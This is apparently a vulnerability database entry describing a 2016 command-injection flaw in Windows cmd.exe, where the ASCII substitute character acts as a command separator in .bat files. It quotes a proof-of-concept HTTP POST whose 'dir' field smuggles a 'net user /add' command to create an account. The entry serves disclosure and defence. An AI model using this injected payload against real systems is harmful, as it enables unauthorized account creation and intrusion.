Microsoft Windows 7/10 cmd.exe ASCII Substitute Character privileges management

CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
6.6$0-$5k0.00

A vulnerability, which was classified as critical, has been found in Microsoft Windows 7/10 (Operating System). Affected by this issue is an unknown code block of the file cmd.exe. The manipulation as part of a ASCII Substitute Character leads to a privileges management vulnerability. Using CWE to declare the problem leads to CWE-269. The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. Impacted is confidentiality, integrity, and availability.

The weakness was disclosed 11/11/2016 by Julian Horoszkiewicz as Unexpected behavior of cmd.exe while processing .bat files leads to potential command injection vulnerabilities as not defined mailinglist post (Full-Disclosure). The advisory is available at seclists.org. The vendor was not involved in the coordination of the public release. The attack may be launched remotely. No form of authentication is required for exploitation. Technical details as well as a public exploit are known. The structure of the vulnerability defines a possible price range of USD $0-$5k at the moment (estimation calculated on 07/07/2019). This vulnerability is assigned to T1068 by the MITRE ATT&CK project. The advisory points out:

It was discovered that cmd.exe, when processing .bat files, treats the ASCII substitute character (code 26) as a command separator (like & or |). This opens the way for unexpected command injection vulnerabilities in applications which generate .bat files based on user input, as this character is not filtered by most application input sanitisers against command injection.

A public exploit has been developed by Julian Horoszkiewicz in HTTP POST Request and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. As 0-day the estimated underground price was around $25k-$100k. The code used by the exploit is:

POST /escape_shell_cmd.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

dir=.%1anet user /add hacked hacked
The advisory illustrates:
Let's send a request containing "." as a parameter to the hardcoded "dir" command, appended with another command - taking advantage of %1a as a command separator.

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Productinfo

Type

Vendor

Name

Version

License

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 7.3
VulDB Meta Temp Score: 6.6

VulDB Base Score: 7.3
VulDB Temp Score: 6.6
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
unlockunlockunlockunlockunlockunlock
unlockunlockunlockunlockunlockunlock
unlockunlockunlockunlockunlockunlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

Exploitinginfo

Class: Privileges management
CWE: CWE-269 / CWE-266
ATT&CK: T1068

Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Julian Horoszkiewicz
Programming Language: 🔍
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍

0-Dayunlockunlockunlockunlock
Todayunlockunlockunlockunlock

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

11/11/2016 🔍
11/11/2016 +0 days 🔍
11/14/2016 +3 days 🔍
07/07/2019 +965 days 🔍

Sourcesinfo

Vendor: microsoft.com
Product: microsoft.com

Advisory: Unexpected behavior of cmd.exe while processing .bat files leads to potential command injection vulnerabilities
Researcher: Julian Horoszkiewicz
Status: Not defined
scip Labs: https://www.scip.ch/en/?labs.20161215

Entryinfo

Created: 11/14/2016 09:04
Updated: 07/07/2019 18:35
Changes: 11/14/2016 09:04 (53), 07/07/2019 18:35 (2)
Complete: 🔍

Discussion

No comments yet. Languages: en.

Please log in to comment.

Interested in the pricing of exploits?

See the underground prices here!